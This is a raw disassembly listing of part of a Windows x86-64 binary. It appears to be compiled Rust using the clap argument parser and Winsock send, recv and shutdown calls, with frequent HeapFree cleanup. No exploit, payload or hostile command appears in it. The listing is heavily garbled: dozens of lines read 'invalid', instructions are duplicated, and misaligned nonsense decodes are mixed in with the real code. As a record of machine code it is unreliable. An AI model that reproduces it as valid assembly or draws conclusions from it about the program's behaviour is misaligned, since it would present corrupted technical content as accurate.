jmp case.0x14003818f.1
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rsp + 0x48]
mov rdx, r15
movzx r8d, byte [rsp + 0xa0]
mov r9b, 2
call fcn.1400383f0
add byte [rax - 0x75], cl
and al, 0x48
cmp rcx, 9
jne 0x140038139
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
adc byte [rsp + 0x60], cl
adc byte [rsp + 0x60], cl
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
movups xmmword [rcx + 8], xmm0
or byte [r15], cl
adc dword [rcx + 0x18], ecx
invalid
invalid
or byte [r15], cl
adc dword [rcx + 0x18], ecx
invalid
invalid
sbb byte [r8 - 0x77], cl
sbb byte [rax - 0x77], cl
mov qword [rcx + 0x28], rax
mov qword [rcx], 9
add byte [rax], al
add cl, ch
push rdx
add eax, dword [rax]
invalid
sub byte [r8 - 0x39], cl
add dword [rcx], ecx
add byte [rax], al
add cl, ch
push rdx
add eax, dword [rax]
add byte [rax - 0x73], cl
and al, 0x48
lea rcx, [rsp + 0x48]
mov rdx, r15
mov r8, r14
call fcn.140038e70
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0x68]
cmp al, 0x16
jne 0x1400381a2
mov rax, qword [rbx + 0x208]
cmp byte [r14 + 0x70], 4
jne 0x14003807e
xorps xmm0, xmm0
movups xmmword [r14 + 0x58], xmm0
mov qword [r14 + 0x50], 8
push rax
or byte [rax], al
add byte [rax], al
invalid
push rax
or byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
push 0x706e8841
invalid
mov qword [r14 + 0x68], rax
mov byte [r14 + 0x70], bpl
invalid
jo 0x1400380c7
mov qword [rdi], 1
mov dword [rdi], 1
mov qword [rdi + 8], rax
jmp case.0x14003818f.1
add byte [rax], al
mov rcx, r14
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
pop rax
pop rax
mov r9, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov r14, qword [rsp + 0x80]
mov esi, dword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov rax, qword [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
mov rbp, qword [rsp + 0xb0]
lodsb al, byte [rsi]
and al, 0xb0
mov al, 0
add byte [rax], al
movdqu xmm6, xmmword [rsp + 0xb8]
mov al, 0
add byte [rax], al
movdqu xmm6, xmmword [rsp + 0xb8]
mov r13, qword [rsp + 0xc8]
movdqu xmm7, xmmword [rsp + 0xd0]
mov r15, qword [rsp + 0xe0]
mov esp, 0xe024
add bl, dh
invalid
movdqu xmm8, xmmword [rsp + 0xe8]
movq mm0, qword [rsp + 0xe8]
cmp rax, 9
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0x98], r9
ja case.0x140038121.1
lea r8, [0x1402084bc]
movsxd rax, dword [r8 + rax*4]
invalid
add rax, r8
movabs byte [0x4c80046349001d03], al
add eax, eax
jmp rax
movq rax, xmm6
mov r8, rbp
mov eax, ebp
test rax, rax
jne 0x140038282
add dword [rax], eax
invalid
add dword [rax], eax
add cl, ch
pop rax
add dword [rax], eax
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x50
jmp case.0x140038121.1
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
cmp qword [rsp + 0x98], 1
mov edx, 3
sbb rdx, 0
mov r9, qword [rsp + 0x40]
and al, 0x40
mov qword [r9], rdx
mov qword [r9], rdx
cmp rcx, 7
ja case.0x14003818f.1
or al, 2
add byte [rax], al
or al, 2
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [0x14020849c]
lea rdx, [0x14020849c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rdi, r8
mov edi, eax
test rax, rax
jne 0x14003837b
fiadd word [rcx]
add byte [rax], al
fiadd word [rcx]
add byte [rax], al
jmp case.0x14003818f.1
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x48], al
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rdi + 0x18], xmm1
movups xmmword [rdi + 8], xmm0
adc dword [rdi + 8], eax
mov ecx, dword [rsp + 0x69]
mov edx, dword [rsp + 0x6c]
mov dword [rdi + 0x29], ecx
mov dword [rdi + 0x2c], edx
mov byte [rdi + 0x28], al
mov qword [rdi], 9
jmp case.0x14003818f.1
add byte [rax], al
add byte [rdi + rdx + 0x4c], dh
mov eax, dword [rsp + 0xb0]
mov rcx, qword [0x140215360]
or eax, 0x1dd175
add byte [rcx], dh
sar bh, cl
adc eax, 0x12fe35
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0xd0], 0
je 0x140038215
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x140215360]
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
or eax, 0x1dd153
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc edi, esi
adc al, byte [rax]
adc edi, esi
adc al, byte [rax]
cmp qword [rsp + 0xe8], 0
cmp dword [rsp + 0xe8], 0
je case.0x14003818f.1
lea rax, [rsp + 0xe0]
lea eax, [rsp + 0xe0]
add byte [rbx + rcx*4], cl
mov r8, qword [rax]
mov rcx, qword [0x140215360]
or eax, 0x1dd12a
xor edx, edx
jmp 0x140038387
movq rax, xmm6
test rax, rax
je 0x140038259
invalid
adc cl, byte [rax - 0x75]
or eax, 0x1dd112
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
mov r8, rbp
mov eax, ebp
mov eax, ebp
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc al, byte [rax]
movq rax, xmm7
test rax, rax
je case.0x1401243a5.259
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
mov eax, ebp
mov eax, ebp
call qword [sym.imp.KERNEL32.dll_HeapFree]
movq rax, xmm8
mov r8, r15
ror byte [rbp - 0x77], 0xf8
test rax, rax
je case.0x140038121.1
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], 2
mov qword [rdi + 8], rbp
mov dword [rdi + 8], ebp
mov dword [rdi + 8], ebp
movdqu xmmword [rdi + 0x10], xmm6
mov qword [rdi + 0x20], r13
movdqu xmmword [rdi + 0x28], xmm7
mov qword [rdi + 0x38], r15
movdqu xmmword [rdi + 0x40], xmm8
cmp rsi, 7
cmp esi, 7
ja case.0x14003818f.1
iretd
add byte [rax], al
lea rax, [0x1402084e4]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
add ecx, eax
add ecx, eax
sar edi, 0xe1
jmp rcx
mov r14, r12
test rbx, rbx
jne 0x14003831c
jmp case.0x14003818f.1
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
je 0x1400382f2
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
jns 0x1400382b5
sbb eax, 0x4dd23100
mov eax, esp
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne 0x1400382ec
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x12fd36
cmp qword [rsp + 0x40], 0
je 0x140038311
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x98]
test byte [rax + rbx*4], ah
add byte [rax], al
invalid
test byte [rax + rbx*4], ah
add byte [rax], al
add bh, bh
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
cmp qword [rsp + 0xa0], 0
je case.0x14003818f.1
mov rcx, qword [0x140215360]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
jmp 0x140038387
ror byte [rbp - 0x77], cl
invalid
test rax, rax
je 0x14003835f
sal byte [rdi + rcx + 0x48], 0x8b
or eax, 0x1dd009
invalid
invalid
invalid
mov rcx, qword [0x140215360]
rcr byte [0x13fd5b45a], 1
adc eax, 0x12fcc9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x140038376
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x7b], cl
div byte [rdx + rdx + 0x48]
je case.0x14003818f.1
mov rcx, qword [0x140215360]
test rsi, rsi
je case.0x14003818f.1
mov rcx, qword [0x140215360]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x110]
movaps xmm7, xmmword [rsp + 0x120]
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x130], al
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x130], al
invalid
invalid
invalid
sub byte [rsp + 0x130], al
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x140204730]
add eax, 0x1cc36f
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
sbb al, 0
sbb al, 0
lea r9, [0x140169d80]
lea r8, [rsp + 0xf8]
mov edx, 0x37
call fcn.140161200
ud2
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov ebp, r9d
mov r12d, r8d
mov rbx, rdx
mov rsi, rcx
mov r15, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x158]
mov r14, qword [rsp + 0x150]
lea rcx, [rsp + 0x30]
and al, 0x50
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x30
mov r8, r15
mov eax, edi
call fcn.140038e70
movzx eax, byte [rsp + 0x50]
cmp al, 0x16
jne case.default.0x140038460
movzx eax, byte [r14 + 0x27d]
cmp al, 9
mov ecx, 2
add byte [rax], al
add byte [rdi], cl
enter 0xffffffffffffb60f, 0xffffffffffffffc1
enter 0xffffffffffffb60f, 0xffffffffffffffc1
add byte [rax], al
add byte [rdi], cl
enter 0xffffffffffffb60f, 0xffffffffffffffc1
enter 0xffffffffffffb60f, 0xffffffffffffffc1
enter 0xffffffffffffb60f, 0xffffffffffffffc1
lea rcx, [0x140208524]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp r12b, 1
ja 0x140038472
cmp bpl, 2
jne 0x140038472
inc qword [rbx + 0x18]
mov rdx, qword [r14 + 0x208]
or byte [rdx], al
add byte [rax], al
mov rcx, r15
call fcn.140053ec0
add dword [rax], eax
add dword [rax], eax
jmp 0x140038505
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov ecx, dword [rsp + 0x51]
mov edx, dword [rsp + 0x54]
mov dword [rsi + 0x29], ecx
mov dword [rsi + 0x2c], edx
mov byte [rsi + 0x28], al
mov qword [rsi], 9
mov r13, qword [rdi + 0x10]
mov rsi, qword [rdi]
mov esi, dword [rdi]
test r13, r13
je 0x140038da1
loope 0x1400384c6
add byte [rax], al
loope 0x1400384c6
or byte [rax], al
add byte [rax - 0x73], cl
pop rsi
or byte [rbx + rcx*4 + 0x35], cl
pop rbp
sti
adc al, byte [rax]
add byte [rax], al
lea rbx, [rsi + 8]
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, 0x12fb5d
jmp 0x1400384dd
add rbx, 0x20
dec r13
je 0x140038da1
test ah, al
or byte [rax], al
invalid
test ah, al
or byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
cmp qword [rbx], 0
je 0x1400384d0
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
or eax, 0x1dce72
or eax, 0x1dce72
xor edx, edx
call r14
jmp 0x1400384d0
cmp r12b, 1
ja 0x140038505
cmp bpl, 2
jne 0x140038505
inc qword [rbx + 0x18]
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9d, ebp
call fcn.140053020
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x30]
mov rdx, rbx
fimul dword [rbp - 0x77]
invalid
mov r9, rdi
invalid
fimul dword [rbp - 0x77]
invalid
call fcn.140053620
movzx eax, byte [rsp + 0x50]
cmp al, 0x16
jne 0x1400388e8
mov qword [rsi], 2
jmp 0x140038dce
cmp r12b, 2
jne 0x140038797
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0xa], al
xchg byte [rdx + 2], bh
add byte [rax], al
adc byte [rdi], cl
test byte [rax], bh
add al, byte [rax]
add byte [rcx - 0x75], cl
mov edx, dword [rsi + 0x208]
test byte [r14 + 0x27a], 0x10
je 0x140038797
mov rdx, qword [r14 + 0x208]
mov edx, dword [rsi + 0x208]
mov rcx, r15
call fcn.140055b70
test al, al
je 0x140038797
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
mov r9, rdi
mov ecx, edi
mov ecx, edi
call fcn.140053620
movzx eax, byte [rsp + 0x50]
cmp al, 0x16
je 0x1400388a5
jmp 0x1400388e8
add eax, dword [rax]
add byte [rax - 0x80], al
cmp bpl, 2
jne 0x1400387be
cmp bpl, 2
jne 0x1400387be
cmp r12b, 2
jae 0x1400385b4
inc qword [rbx + 0x18]
inc dword [rbx + 0x18]
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.140055360
jmp 0x1400387cf
mov r13, qword [rdi + 0x10]
test r13, r13
jne 0x140038645
mov ecx, 0x20
call fcn.1400470e0
mov r12, rax
lea rdx, [0x1401da4c9]
lea rcx, [rsp + 0x30]
mov r8d, 4
jmp 0x140038619
mov r13, qword [rdi + 0x10]
test r13, r13
jne 0x140038645
mov ecx, 0x20
call fcn.1400470e0
add byte [rax], al
add byte [rax], al
mov r12, rax
lea rdx, [0x1401da4c4]
lea rcx, [rsp + 0x30]
mov r8d, 5
call fcn.14013edb0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
jmp 0x140038985
mov r13, qword [rdi + 0x10]
test r13, r13
je 0x140038917
cmp r13, 1
jne 0x140038735
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x60], rax
mov eax, 1
jmp 0x140038785
dec r12b
cmp r12b, 3
setb r8b
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x30]
xor r9d, r9d
call fcn.140044d70
cmp byte [rsp + 0x50], 0x16
jne 0x1400387ee
add byte [rax], al
add byte [rax], al
mov r8, qword [rbx + 0x10]
mov qword [rsp + 0xa0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
lea r9, [rsp + 0x30]
mov dl, reloc.WS2_32.dll_recv
call fcn.1400453c0
jmp 0x140038812
dec r12b
mov rax, qword [rbx + 0x10]
cmp r12b, 3
jae 0x140038838
mov rdx, qword [rax + 0x198]
mov rcx, rdx
test rdx, rdx
jne 0x1400386f1
mov rcx, qword [rax + 0x188]
test rcx, rcx
je 0x140038a87
xor r8d, r8d
test rdx, rdx
setne r8b
shl r8, 4
mov rdx, qword [rax + r8 + 0x190]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rax + 0x160]
test rdx, rdx
jne 0x140038ab0
jmp 0x140038b8e
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], 1
mov byte [rsp + 0x48], 1
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
call fcn.140055d60
mov r12, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x2c], 0
jmp 0x14003899a
cmp bpl, 2
jne 0x14003885b
cmp r12b, 2
jae 0x1400387ab
inc qword [rbx + 0x18]
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.140055360
jmp 0x14003886c
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9d, ebp
call fcn.140053020
mov r8, qword [rbx + 0x18]
mov rdx, qword [r14 + 0x208]
mov rcx, r15
call fcn.140053bb0
mov qword [rsi], 2
jmp 0x140038d5f
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsi + 0x28], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
jmp 0x140038d58
mov rcx, qword [rax + 0x188]
test rcx, rcx
jne 0x140038a4a
lea rdx, [rax + 0x1a0]
mov rcx, qword [rax + 0x198]
jmp 0x140038a51
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9d, ebp
call fcn.140053020
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140053620
movzx eax, byte [rsp + 0x50]
cmp al, 0x16
jne 0x1400388e8
cmp r12b, 2
jne 0x14003853b
test byte [r14 + 0x27a], 0x10
je 0x14003853b
mov rdx, qword [r14 + 0x208]
mov rcx, r15
call fcn.140055c60
test rax, rax
je 0x140038e49
mov r9, qword [rax + 0x40]
test r9, r9
je 0x140038de3
mov r8, qword [rax + 0x30]
mov edx, r9d
and edx, 3
cmp r9, 4
jae 0x140038dee
xor ecx, ecx
xor r10d, r10d
jmp 0x140038e17
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov ecx, dword [rsp + 0x51]
mov edx, dword [rsp + 0x54]
mov dword [rsi + 0x29], ecx
mov dword [rsi + 0x2c], edx
mov byte [rsi + 0x28], al
mov qword [rsi], 9
jmp 0x140038dce
mov rdx, qword [r14 + 0x90]
mov r8, qword [r14 + 0x98]
mov rcx, r15
call fcn.140055e30
add dword [rax], eax
test rax, rax
lea rcx, [0x1401d38a0]
cmovne rcx, rax
movzx eax, byte [rcx]
inc al
movzx eax, al
mov ecx, 0xff
cmovne ecx, eax
mov byte [rsp + 0x70], cl
mov ecx, 0x20
call fcn.1400470e0
mov r12, rax
lea rcx, [rsp + 0x30]
and al, 0x30
lea rdx, [rsp + 0x70]
call fcn.1400562f0
mov rax, qword [rsp + 0x40]
mov qword [r12 + 0x10], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [r12], xmm0
mov byte [r12 + 0x18], 1
mov al, 1
mov dword [rsp + 0x2c], eax
mov eax, 1
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], rax
mov rdx, qword [r14 + 0x208]
mov rcx, r15
call fcn.140053ec0
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9d, ebp
call fcn.140053020
mov qword [rsp + 0x70], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x70]
mov rdx, rbx
mov r8, r14
call fcn.140053620
movzx eax, byte [rsp + 0x50]
cmp al, 0x16
jne 0x140038a10
mov qword [rsi], 2
cmp byte [rsp + 0x2c], 0
jne 0x140038d5f
jmp 0x140038dce
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm1
adc dword [rsi + 0x18], ecx
movups xmmword [rsi + 8], xmm0
mov ecx, dword [rsp + 0x51]
mov edx, dword [rsp + 0x54]
and al, 0x54
mov dword [rsi + 0x29], ecx
mov dword [rsi + 0x2c], edx
mov byte [rsi + 0x28], al
mov qword [rsi], 9
cmp byte [rsp + 0x2c], 0
jne 0x1400384b4
jmp 0x140038dce
lea rdx, [rax + 0x190]
test rcx, rcx
mov rdx, qword [rdx]
cmove rdx, rcx
lea r8, [0x140204680]
lea eax, [0x140204680]
cmovne r8, rcx
mov qword [rsp + 0xc0], r8
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rax + 0x160]
test rdx, rdx
jne 0x140038ab0
jmp 0x140038b8e
invalid
lea rcx, [0x140204680]
mov qword [rsp + 0xc0], rcx
xor edx, edx
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rax + 0x160]
test rdx, rdx
je 0x140038b8e
mov r8, qword [rax + 0x170]
cmp r8, 0xf
ja 0x140038adf
test r8, r8
je 0x140038b8e
xor ecx, ecx
cmp byte [rdx + rcx], 0x20
je 0x140038c1f
inc rcx
cmp r8, rcx
jne 0x140038ac8
jmp 0x140038b8e
lea rcx, [rdx + 7]
and rcx, 0xfffffffffffffff8
sub rcx, rdx
je 0x140038b19
cmp rcx, r8
cmovae rcx, r8
test rcx, rcx
je 0x140038b19
xor r9d, r9d
cmp byte [rdx + r9], 0x20
je 0x140038c1f
inc r9
cmp rcx, r9
jne 0x140038afb
lea r9, [r8 - 0x10]
cmp rcx, r9
jbe 0x140038b1f
jmp 0x140038b77
lea r9, [r8 - 0x10]
xor ecx, ecx
movabs r10, 0x2020202020202020
movabs r11, 0xfefefefefefefeff
movabs r14, 0x8080808080808080
mov r15, qword [rdx + rcx]
mov r12, r15
not r12
xor r15, r10
add r15, r11
and r15, r12
test r15, r14
jne 0x140038b77
mov r15, qword [rdx + rcx + 8]
mov r12, r15
not r12
xor r15, r10
add r15, r11
and r15, r12
test r15, r14
jne 0x140038b77
add rcx, 0x10
cmp rcx, r9
cmp ecx, ecx
cmp ecx, ecx
jbe 0x140038b3d
cmp rcx, r8
je 0x140038b8e
cmp byte [rdx + rcx], 0x20
je 0x140038c1f
inc rcx
cmp r8, rcx
jne 0x140038b7c
mov rcx, qword [rax + 0x40]
mov ecx, dword [rax + 0x40]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rax, [0x14016a420]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x30]
call fcn.140014120
jmp 0x140038ce4
lea r14, [rsp + 0xa0]
mov rcx, r14
call fcn.140049910
mov qword [rsp + 0x70], r14
lea rax, [0x140005df0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x88], rax
lea rax, [0x14016a420]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x30]
call fcn.140014120
cmp qword [rsp + 0xa8], 0
je 0x140038cc4
mov r8, qword [rsp + 0xa0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xa0], xmm0
add byte [rdi], cl
sub dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax + 0x250]
adc byte [rax - 0x75], cl
mov byte [rax + 2], dl
add byte [rax], al
mov rdx, qword [rax + 0x258]
add byte [rax], al
mov eax, ecx
or eax, edx
mov r8b, 2
enter 0xffffffffffffd009, 0x41
mov al, 2
test eax, 0x100000
jne 0x140038d0c
call fcn.14001a230
mov r8d, eax
lea r14, [rsp + 0x30]
mov rcx, r14
xor edx, edx
call fcn.14002dda0
lea rdx, [rsp + 0xa0]
mov rcx, r14
call fcn.14002e090
mov r8, qword [rbx + 0x10]
mov qword [rsp + 0x70], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, [rsi + 8]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov dl, send
mov r9, r14
call fcn.1400453c0
mov qword [rsi], 9
mov rsi, qword [rdi]
mov rbx, qword [rdi + 0x10]
test rbx, rbx
je 0x140038da1
lea r14, [rsi + 8]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140038d89
add r14, 0x20
dec rbx
je 0x140038da1
cmp qword [r14], 0
je 0x140038d80
mov r8, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call r15
jmp 0x140038d80
cmp qword [rdi + 8], 0
je 0x140038dce
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
mov cl, 0xc5
sbb eax, 0x49d23100
mov eax, esi
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
mov qword [rax + 0x60], rcx
invalid
invalid
jmp 0x14003853b
invalid
and r9, 0xfffffffffffffffc
lea r11, [r8 + 0x58]
pop rax
pop rax
pop rax
pop rax
xor ecx, ecx
xor r10d, r10d
add rcx, qword [r11 - 0x48]
add rcx, qword [r11 - 0x30]
add rcx, qword [r11 - 0x18]
add rcx, qword [r11]
add r10, 4
add r11, 0x60
cmp r9, r10
jne 0x140038dfb
test rdx, rdx
je 0x140038e40
lea r9, [r10 + r10*2]
lea r8, [r8 + r9*8]
add r8, 0x10
shl rdx, 3
lea rdx, [rdx + rdx*2]
xor r9d, r9d
add rcx, qword [r8 + r9]
add r9, 0x18
cmp rdx, r9
jne case.0x1400382cc.26
mov qword [rax + 0x60], rcx
jmp 0x14003853b
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
push rsi
push rsi
push rdi
push rbx
sub rsp, 0xb0
mov rax, r8
mov rsi, rcx
mov rcx, qword [r8 + 0x68]
movzx r8d, byte [r8 + 0x70]
mov byte [rax + 0x70], 4
cmp r8b, 4
jne 0x140038ea0
mov byte [rsi + 0x20], reloc.WS2_32.dll_shutdown
jmp 0x140038f54
lea r9, [rax + 0x50]
mov r11, qword [rdx + 0x10]
mov rdi, qword [r11 + 0xb0]
mov r10, 0xfffffffffffffd80
add r10, qword [r11 + 0xa0]
shl rdi, 7
lea rdi, [rdi + rdi*4]
nop word cs:[rax + rax]
test rdi, rdi
je 0x140038ff6
lea r11, [r10 + 0x280]
add rdi, 0xfffffffffffffd80
cmp qword [r10 + 0x488], rcx
mov r10, r11
jne 0x140038ed0
mov rcx, qword [r9 + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [r9]
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r11
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
mov r9b, 2
call fcn.1400383f0
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
cmp rcx, 9
jne case.0x140038460.9
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
mov rax, qword [rsp + 0x68]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
mov qword [rsi + 0x20], rax
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
cmp rcx, 7
ja case.0x140038f85.1
mov r8, qword [rsp + 0x48]
and al, 0x48
mov rax, qword [rsp + 0x50]
lea rdx, [0x140208548]
